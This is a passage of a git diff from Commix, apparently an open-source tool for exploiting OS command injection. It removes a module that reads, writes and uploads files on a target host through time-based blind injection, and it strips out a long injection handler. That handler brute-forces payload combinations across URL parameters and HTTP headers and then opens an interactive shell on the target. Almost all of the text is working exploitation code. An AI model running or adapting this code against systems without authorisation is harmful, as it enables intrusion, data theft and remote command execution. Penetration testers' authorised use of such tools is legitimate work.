filename, url_time_response) - if settings.ENUMERATION_DONE == False: - settings.ENUMERATION_DONE = True - -# eof \ No newline at end of file diff --git a/src/core/injections/blind/techniques/time_based/tb_file_access.py b/src/core/injections/blind/techniques/time_based/tb_file_access.py deleted file mode 100755 index 40aff2e61a..0000000000 --- a/src/core/injections/blind/techniques/time_based/tb_file_access.py +++ /dev/null @@ -1,244 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -import re -import os -import sys - - -from src.utils import menu -from src.utils import settings -from src.utils import session_handler - -from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.injections.blind.techniques.time_based import tb_injector - -""" -The "time-based" injection technique on Blind OS Command Injection. -""" - -""" -Read a file from the target host. -""" -def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): - _ = False - file_to_read = menu.options.file_read - # Execute command - if settings.TARGET_OS == "win": - cmd = settings.WIN_FILE_READ + file_to_read - else: - cmd = settings.FILE_READ + file_to_read - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # The main command injection exploitation. - check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, output, vuln_parameter) - _ = True - new_line = "\n" - else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - shell = output - try: - shell = "".join(str(p) for p in shell) - except TypeError: - pass - if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) - if shell: - info_msg = "The contents of file '" - info_msg += file_to_read + Style.RESET_ALL + Style.BRIGHT - info_msg += "'" + Style.RESET_ALL + " : " - sys.stdout.write(settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() - print(shell) - output_file = open(filename, "a") - info_msg = "The contents of file '" - info_msg += file_to_read + "' : " + shell + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - warn_msg = "It seems that you don't have permissions " - warn_msg += "to read the '" + file_to_read + "' file." - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() - -""" -Write to a file on the target host. -""" -def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): - _ = True - file_to_write = menu.options.file_write - if not os.path.exists(file_to_write): - warn_msg = "It seems that the provided local file '" + file_to_write + "', does not exist." - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() - raise SystemExit() - if os.path.isfile(file_to_write): - with open(file_to_write, 'r') as content_file: - content = [line.replace("\r\n", "\n").replace("\r", "\n").replace("\n", " ") for line in content_file] - content = "".join(str(p) for p in content).replace("'", "\"") - if settings.TARGET_OS == "win": - import base64 - content = base64.b64encode(content) - else: - warn_msg = "It seems that '" + file_to_write + "' is not a file." - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() - if os.path.split(menu.options.file_dest)[1] == "" : - dest_to_write = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_write)[1] - elif os.path.split(menu.options.file_dest)[0] == "/": - dest_to_write = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_write)[1] - else: - dest_to_write = menu.options.file_dest - # Execute command - if settings.TARGET_OS == "win": - from src.core.injections.results_based.techniques.classic import cb_injector - whitespace = settings.WHITESPACES[0] - dest_to_write = dest_to_write.replace("\\","/") - # Find path - path = os.path.dirname(dest_to_write) - path = path.replace("/","\\") - # Change directory - cmd = "cd " + path - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Find filename - filname = os.path.basename(dest_to_write) - tmp_filname = "tmp_" + filname - cmd = settings.FILE_WRITE + content + ">" + tmp_filname - if not menu.options.alter_shell : - cmd = "\"" + cmd + "\"" - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Decode base 64 encoding - cmd = "certutil -decode " + tmp_filname + " " + filname - if not menu.options.alter_shell : - cmd = "\"" + cmd + "\"" - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - cb_injector.injection_results(response, TAG, cmd) - # Delete tmp file - cmd = "del " + tmp_filname - if not menu.options.alter_shell : - cmd = "\"" + cmd + "\"" - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - cb_injector.injection_results(response, TAG, cmd) - # Check if file exists - cmd = "if exist " + filname + " (echo " + filname + ")" - if not menu.options.alter_shell : - cmd = "'" + cmd + "'" - dest_to_write = path + "\\" + filname - else: - cmd = settings.FILE_WRITE + "'" + content + "'" + ">" + "'" + dest_to_write + "'" + separator + settings.FILE_READ + dest_to_write - check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - shell = output - shell = "".join(str(p) for p in shell) - # Check if file exists - cmd = "echo $(ls " + dest_to_write + ")" - print(settings.SINGLE_WHITESPACE) - check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - shell = output - try: - shell = "".join(str(p) for p in shell) - except TypeError: - pass - if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) - if shell: - info_msg = "The '" + shell + Style.RESET_ALL - info_msg += Style.BRIGHT + "' file was created successfully!\n" - sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() - else: - warn_msg = "It seems that you don't have permissions to write the '" + dest_to_write + "' file." - sys.stdout.write("\n" + settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() - -""" -Upload a file on the target host. -""" -def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): - _ = True - if settings.TARGET_OS == "win": - # Not yet implemented - pass - else: - file_to_upload = menu.options.file_upload - # check if remote file exists. - try: - _urllib.request.urlopen(file_to_upload, timeout=settings.TIMEOUT) - except _urllib.error.HTTPError as err_msg: - warn_msg = "It seems that the '" + file_to_upload + "' file, does not exist. (" +str(err_msg)+ ")" - sys.stdout.write("\n" + settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() - raise SystemExit() - except ValueError as err_msg: - err_msg = str(err_msg[0]).capitalize() + str(err_msg)[1] - sys.stdout.write(settings.print_critical_msg(err_msg) + "\n") - sys.stdout.flush() - raise SystemExit() - # Check the file-destination - if os.path.split(menu.options.file_dest)[1] == "" : - dest_to_upload = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_upload)[1] - elif os.path.split(menu.options.file_dest)[0] == "/": - dest_to_upload = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_upload)[1] - else: - dest_to_upload = menu.options.file_dest - # Execute command - cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload - check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - shell = output - shell = "".join(str(p) for p in shell) - # Check if file exists! - if settings.TARGET_OS == "win": - cmd = "dir " + dest_to_upload + ")" - else: - cmd = "echo $(ls " + dest_to_upload + ")" - print(settings.SINGLE_WHITESPACE) - check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - shell = output - try: - shell = "".join(str(p) for p in shell) - except TypeError: - pass - if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) - if shell: - info_msg = "The '" + shell + Style.RESET_ALL - info_msg += Style.BRIGHT + "' file was uploaded successfully!" - sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg) + "\n") - sys.stdout.flush() - else: - warn_msg = "It seems that you don't have permissions to " - warn_msg += "write the '" + dest_to_upload + "' file." - sys.stdout.write("\n" + settings.print_warning_msg(warn_msg) + "\n") - -""" -Check the defined options -""" -def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): - - if menu.options.file_read: - file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - if settings.FILE_ACCESS_DONE == False: - settings.FILE_ACCESS_DONE = True - - if menu.options.file_write: - file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - if settings.FILE_ACCESS_DONE == False: - settings.FILE_ACCESS_DONE = True - - if menu.options.file_upload: - file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - if settings.FILE_ACCESS_DONE == False: - settings.FILE_ACCESS_DONE = True - -# eof \ No newline at end of file diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index 0897d60d91..047425eb85 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -3,38 +3,20 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ -import re -import sys -import time -import string -import random -from src.utils import menu -from src.utils import logs +from src.utils import common from src.utils import settings -from src.core.compat import xrange -from src.utils import session_handler -from src.core.requests import headers -from src.core.requests import requests -from src.core.requests import parameters from src.core.injections.controller import checks -from src.thirdparty.six.moves import input as _input -from src.thirdparty.six.moves import urllib as _urllib -from src.core.injections.controller import shell_options -from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.injections.blind.techniques.time_based import tb_injector -from src.core.injections.blind.techniques.time_based import tb_payloads -from src.core.injections.blind.techniques.time_based import tb_enumeration -from src.core.injections.blind.techniques.time_based import tb_file_access +from src.core.injections.controller import handler """ The "time-based" injection technique on Blind OS Command Injection. @@ -43,539 +25,8 @@ """ The "time-based" injection technique handler. """ -def tb_injection_handler(url, timesec, filename, http_request_method, url_time_response, injection_type, technique): - - counter = 1 - num_of_chars = 1 - vp_flag = True - no_result = True - is_encoded = False - possibly_vulnerable = False - false_positive_warning = False - export_injection_info = False - how_long = 0 - - if settings.VERBOSITY_LEVEL != 0: - info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + ". " - print(settings.print_info_msg(info_msg)) - - # Check if defined "--maxlen" option. - if menu.options.maxlen: - maxlen = settings.MAXLEN - - # Check if defined "--url-reload" option. - if menu.options.url_reload == True: - warn_msg = "The '--url-reload' option is not available in " + technique + "." - print(settings.print_warning_msg(warn_msg)) - - #whitespace = checks.check_whitespaces() - # Calculate all possible combinations - total = len(settings.WHITESPACES) * len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES) - for whitespace in settings.WHITESPACES: - for prefix in settings.PREFIXES: - for suffix in settings.SUFFIXES: - for separator in settings.SEPARATORS: - # Check injection state - settings.DETECTION_PHASE = True - settings.EXPLOITATION_PHASE = False - # If a previous session is available. - how_long_statistic = [] - if settings.LOAD_SESSION and session_handler.notification(url, technique, injection_type): - try: - settings.TIME_BASED_STATE = True - cmd = shell = "" - url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method) - checks.check_for_stored_tamper(payload) - settings.FOUND_HOW_LONG = how_long - settings.FOUND_DIFF = how_long - timesec - except TypeError: - err_msg = "An error occurred while accessing session file ('" - err_msg += settings.SESSION_FILE + "'). " - err_msg += "Use the '--flush-session' option." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - - if settings.RETEST == True: - settings.RETEST = False - from src.core.injections.results_based.techniques.classic import cb_handler - cb_handler.exploitation(url, timesec, filename, http_request_method) - - if not settings.LOAD_SESSION: - num_of_chars = num_of_chars + 1 - # Check for bad combination of prefix and separator - combination = prefix + separator - if combination in settings.JUNK_COMBINATION: - prefix = "" - - # Define alter shell - alter_shell = menu.options.alter_shell - - # Change TAG on every request to prevent false-positive results. - TAG = ''.join(random.choice(string.ascii_uppercase) for num_of_chars in range(6)) - tag_length = len(TAG) + 4 - - for output_length in range(1, int(tag_length)): - try: - if alter_shell: - # Time-based decision payload (check if host is vulnerable). - payload = tb_payloads.decision_alter_shell(separator, TAG, output_length, timesec, http_request_method) - else: - # Time-based decision payload (check if host is vulnerable). - payload = tb_payloads.decision(separator, TAG, output_length, timesec, http_request_method) - - # Fix prefixes / suffixes - payload = parameters.prefixes(payload, prefix) - payload = parameters.suffixes(payload, suffix) - - # Whitespace fixation - payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) - - # Perform payload modification - payload = checks.perform_payload_modification(payload) - - # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL == 1: - payload_msg = payload.replace("\n", "\\n") - print(settings.print_payload(payload_msg)) - # Check if defined "--verbose" option. - elif settings.VERBOSITY_LEVEL >= 2: - debug_msg = "Generating payload for the injection." - print(settings.print_debug_msg(debug_msg)) - payload_msg = payload.replace("\n", "\\n") - sys.stdout.write(settings.print_payload(payload_msg) + "\n") - - # Cookie header injection - if settings.COOKIE_INJECTION == True: - # Check if target host is vulnerable to cookie header injection. - vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie) - how_long = tb_injector.cookie_injection_test(url, vuln_parameter, payload) - - # User-Agent HTTP header injection - elif settings.USER_AGENT_INJECTION == True: - # Check if target host is vulnerable to user-agent HTTP header injection. - vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent) - how_long = tb_injector.user_agent_injection_test(url, vuln_parameter, payload) - - # Referer HTTP header injection - elif settings.REFERER_INJECTION == True: - # Check if target host is vulnerable to referer HTTP header injection. - vuln_parameter = parameters.specify_referer_parameter(menu.options.referer) - how_long = tb_injector.referer_injection_test(url, vuln_parameter, payload) - - # Host HTTP header injection - elif settings.HOST_INJECTION == True: - # Check if target host is vulnerable to host HTTP header injection. - vuln_parameter = parameters.specify_host_parameter(menu.options.host) - how_long = tb_injector.host_injection_test(url, vuln_parameter, payload) - - # Custom HTTP header Injection - elif settings.CUSTOM_HEADER_INJECTION == True: - # Check if target host is vulnerable to custom http header injection. - vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG) - how_long = tb_injector.custom_header_injection_test(url, vuln_parameter, payload) - - else: - # Check if target host is vulnerable. - how_long, vuln_parameter = tb_injector.injection_test(payload, http_request_method, url) - - # Statistical analysis in time responses. - how_long_statistic.append(how_long) - - # Injection percentage calculation - percent = ((num_of_chars * 100) / total) - float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total * 1.0)),2)) - - if percent == 100 and no_result == True: - if settings.VERBOSITY_LEVEL == 0: - percent = settings.FAIL_STATUS - else: - percent = "" - else: - if (url_time_response == 0 and (how_long - timesec) >= 0) or \ - (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \ - (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) : - - # Time relative false positive fixation. - false_positive_fixation = False - if len(TAG) == output_length: - - # Simple statical analysis - statistical_anomaly = True - if len(set(how_long_statistic[0:5])) == 1: - if max(xrange(len(how_long_statistic)), key=lambda x: how_long_statistic[x]) == len(TAG) - 1: - statistical_anomaly = False - how_long_statistic = [] - - if timesec <= how_long and not statistical_anomaly: - false_positive_fixation = True - else: - false_positive_warning = True - - # Identified false positive warning message. - if false_positive_warning: - warn_msg = "Unexpected time delays have been identified due to unstable " - warn_msg += "requests. This behavior may lead to false-positive results.\n" - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) - while True: - if not menu.options.batch: - question_msg = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > " - proceed_option = _input(settings.print_question_msg(question_msg)) - else: - proceed_option = "" - if len(proceed_option) == 0: - proceed_option = "c" - if proceed_option.lower() in settings.CHOICE_PROCEED : - if proceed_option.lower() == "s": - false_positive_fixation = False - raise - elif proceed_option.lower() == "c": - timesec = timesec + 1 - false_positive_fixation = True - break - elif proceed_option.lower() == "q": - raise SystemExit() - else: - err_msg = "'" + proceed_option + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - - if settings.VERBOSITY_LEVEL == 0: - percent = ".. (" + str(float_percent) + "%)" - info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + "" - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() - - # Check if false positive fixation is True. - if false_positive_fixation: - false_positive_fixation = False - settings.FOUND_HOW_LONG = how_long - settings.FOUND_DIFF = how_long - timesec - if false_positive_warning: - time.sleep(1) - randv1 = random.randrange(1, 10) - randv2 = random.randrange(1, 10) - randvcalc = randv1 + randv2 - - if settings.TARGET_OS == "win": - if alter_shell: - cmd = settings.WIN_PYTHON_INTERPRETER + "python.exe -c \"print (" + str(randv1) + " + " + str(randv2) + ")\"" - else: - cmd = "powershell.exe -InputFormat none write (" + str(randv1) + " + " + str(randv2) + ")" - else: - cmd = "expr " + str(randv1) + " %2B " + str(randv2) + "" - - # Set the original delay time - original_how_long = how_long - - # Check for false positive resutls - how_long, output = tb_injector.false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timesec, http_request_method, url, vuln_parameter, randvcalc, alter_shell, how_long, url_time_response) - - if (url_time_response == 0 and (how_long - timesec) >= 0) or \ - (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \ - (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) : - - if str(output) == str(randvcalc) and len(TAG) == output_length: - possibly_vulnerable = True - how_long_statistic = 0 - if settings.VERBOSITY_LEVEL == 0: - percent = settings.info_msg - else: - percent = "" - else: - break - # False positive - else: - if settings.VERBOSITY_LEVEL == 0: - percent = ".. (" + str(float_percent) + "%)" - info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + "" - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() - continue - else: - if settings.VERBOSITY_LEVEL == 0: - percent = ".. (" + str(float_percent) + "%)" - info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + "" - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() - continue - if settings.VERBOSITY_LEVEL == 0: - info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + "" - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() - - except KeyboardInterrupt: - raise - - except SystemExit: - raise - - except EOFError: - err_msg = "Exiting, due to EOFError." - print(settings.print_error_msg(err_msg)) - raise - - except: - percent = ((num_of_chars * 100) / total) - float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total*1.0)),2)) - if str(float_percent) == "100.0": - if no_result == True: - if settings.VERBOSITY_LEVEL == 0: - percent = settings.FAIL_STATUS - info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + "" - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() - else: - percent = "" - else: - percent = ".. (" + str(float_percent) + "%)" - print(settings.SINGLE_WHITESPACE) - # Print logs notification message - logs.logs_notification(filename) - #raise - else: - percent = ".. (" + str(float_percent) + "%)" - break - - # Yaw, got shellz! - # Do some magic tricks! - if (url_time_response == 0 and (how_long - timesec) >= 0) or \ - (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \ - (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) : - if (len(TAG) == output_length) and \ - (possibly_vulnerable == True or settings.LOAD_SESSION and int(is_vulnerable) == menu.options.level): - - found = True - no_result = False - # Check injection state - settings.DETECTION_PHASE = False - settings.EXPLOITATION_PHASE = True - if settings.LOAD_SESSION: - possibly_vulnerable = False - - if settings.COOKIE_INJECTION == True: - header_name = " cookie" - found_vuln_parameter = vuln_parameter - the_type = " parameter" - - elif settings.USER_AGENT_INJECTION == True: - header_name = " User-Agent" - found_vuln_parameter = "" - the_type = " HTTP header" - - elif settings.REFERER_INJECTION == True: - header_name = " Referer" - found_vuln_parameter = "" - the_type = " HTTP header" - - elif settings.CUSTOM_HEADER_INJECTION == True: - header_name = " " + settings.CUSTOM_HEADER_NAME - found_vuln_parameter = "" - the_type = " HTTP header" - - else: - header_name = "" - the_type = " parameter" - if not menu.options.data: - found_vuln_parameter = parameters.vuln_GET_param(url) - else : - found_vuln_parameter = vuln_parameter - - if len(found_vuln_parameter) != 0 : - found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" - - # Print the findings to log file. - if export_injection_info == False: - export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique) - if vp_flag == True: - vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) - logs.update_payload(filename, counter, payload) - counter = counter + 1 - - if not settings.LOAD_SESSION: - if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) - else: - checks.total_of_requests() - - # Print the findings to terminal. - info_msg = "The" - if len(found_vuln_parameter) > 0 and not "cookie" in header_name : - info_msg += " " + http_request_method - info_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name - info_msg += found_vuln_parameter + " seems injectable via " - info_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "." - print(settings.print_bold_info_msg(info_msg)) - sub_content = str(checks.url_decode(payload)) - print(settings.print_sub_content(sub_content)) - # Export session - if not settings.LOAD_SESSION: - shell = "" - session_handler.injection_point_importation(url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, original_how_long, output_length, is_vulnerable=menu.options.level) - #possibly_vulnerable = False - else: - settings.LOAD_SESSION = False - - new_line = False - # Check for any enumeration options. - if settings.ENUMERATION_DONE == True: - while True: - if not menu.options.batch: - question_msg = "Do you want to enumerate again? [Y/n] > " - enumerate_again = _input("\n" + settings.print_question_msg(question_msg)).lower() - else: - enumerate_again = "" - if len(enumerate_again) == 0: - enumerate_again = "Y" - if enumerate_again in settings.CHOICE_YES: - tb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - print(settings.SINGLE_WHITESPACE) - break - elif enumerate_again in settings.CHOICE_NO: - new_line = True - break - elif enumerate_again in settings.CHOICE_QUIT: - raise SystemExit() - else: - err_msg = "'" + enumerate_again + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - else: - if menu.enumeration_options(): - tb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - print(settings.SINGLE_WHITESPACE) - - # Check for any system file access options. - if settings.FILE_ACCESS_DONE == True: - print(settings.SINGLE_WHITESPACE) - while True: - if not menu.options.batch: - question_msg = "Do you want to access files again? [Y/n] > " - file_access_again = _input(settings.print_question_msg(question_msg)) - else: - file_access_again = "" - if len(file_access_again) == 0: - file_access_again = "Y" - if file_access_again in settings.CHOICE_YES: - tb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - break - elif file_access_again in settings.CHOICE_NO: - if not new_line: - new_line = True - break - elif file_access_again in settings.CHOICE_QUIT: - raise SystemExit() - else: - err_msg = "'" + file_access_again + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - else: - # if not menu.enumeration_options() and not menu.options.os_cmd: - # print(settings.SINGLE_WHITESPACE) - tb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - - # Check if defined single cmd. - if menu.options.os_cmd: - cmd = menu.options.os_cmd - check_how_long, output = tb_enumeration.single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - # Export injection result - tb_injector.export_injection_results(cmd, separator, output, check_how_long) - print(settings.SINGLE_WHITESPACE) - logs.print_logs_notification(filename, url) - raise SystemExit() - - if not new_line : - print(settings.SINGLE_WHITESPACE) - - # Pseudo-Terminal shell - go_back = False - go_back_again = False - while True: - if go_back == True: - break - if not menu.options.batch: - question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > " - gotshell = _input(settings.print_question_msg(question_msg)) - else: - gotshell = "" - if len(gotshell) == 0: - gotshell = "Y" - if gotshell in settings.CHOICE_YES: - # if not menu.options.batch: - # print(settings.SINGLE_WHITESPACE) - print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") - if settings.READLINE_ERROR: - checks.no_readline_module() - while True: - if false_positive_warning: - warn_msg = "Due to unexpected time delays, it is highly " - warn_msg += "recommended to enable the 'reverse_tcp' option.\n" - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) - false_positive_warning = False - try: - if not settings.READLINE_ERROR: - checks.tab_autocompleter() - cmd = _input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) - cmd = checks.escaped_cmd(cmd) - if cmd.lower() in settings.SHELL_OPTIONS: - go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="") - if go_back and go_back_again == False: - break - if go_back and go_back_again: - return True - else: - if menu.options.ignore_session or \ - session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: - # The main command injection exploitation. - check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - # Export injection result - tb_injector.export_injection_results(cmd, separator, output, check_how_long) - if not menu.options.ignore_session : - session_handler.store_cmd(url, cmd, output, vuln_parameter) - else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - print("\n" + settings.print_output(output)) - # Update logs with executed cmds and execution results. - logs.executed_command(filename, cmd, output) - print(settings.SINGLE_WHITESPACE) - - except KeyboardInterrupt: - raise - - except SystemExit: - raise - - except EOFError: - err_msg = "Exiting, due to EOFError." - print(settings.print_error_msg(err_msg)) - raise - - elif gotshell in settings.CHOICE_NO: - if checks.next_attack_vector(technique, go_back) == True: - break - else: - if no_result == True: - return False - else: - return True - - elif gotshell in settings.CHOICE_QUIT: - raise SystemExit() - - else: - err_msg = "'" + gotshell + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - break - - - if no_result == True: - if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) - return False - - else : - sys.stdout.write("\r") - sys.stdout.flush() +def tb_injection_handler(url, timesec, filename, http_request_method, url_time_response, injection_type, technique, tmp_path): + return handler.do_time_related_proccess(url, timesec, filename, http_request_method, url_time_response, injection_type, technique, tmp_path) """ The exploitation function. @@ -583,42 +34,36 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r """ def exploitation(url, timesec, filename, http_request_method, url_time_response, injection_type, technique): # Check if attack is based on time delays. - if not settings.TIME_RELATIVE_ATTACK : - warn_msg = "It is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions." - print(settings.print_warning_msg(warn_msg) + Style.RESET_ALL) - settings.TIME_RELATIVE_ATTACK = True - + if not settings.TIME_RELATED_ATTACK : + checks.time_related_attaks_msg() + settings.TIME_RELATED_ATTACK = True + + tmp_path = "" if url_time_response >= settings.SLOW_TARGET_RESPONSE: warn_msg = "It is highly recommended, due to serious response delays, " warn_msg += "to skip the time-based (blind) technique and to continue " warn_msg += "with the file-based (semiblind) technique." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) go_back = False while True: if go_back == True: return False - if not menu.options.batch: - question_msg = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > " - proceed_option = _input(settings.print_question_msg(question_msg)) - else: - proceed_option = "" - if len(proceed_option) == 0: - proceed_option = "c" + message = "How do you want to proceed? [(C)ontinue/(s)kip] > " + proceed_option = common.read_input(message, default="C", check_batch=True) if proceed_option.lower() in settings.CHOICE_PROCEED : - if proceed_option.lower() == "s": - from src.core.injections.semiblind.techniques.file_based import fb_handler - fb_handler.exploitation(url, timesec, filename, http_request_method, url_time_response) - elif proceed_option.lower() == "c": - if 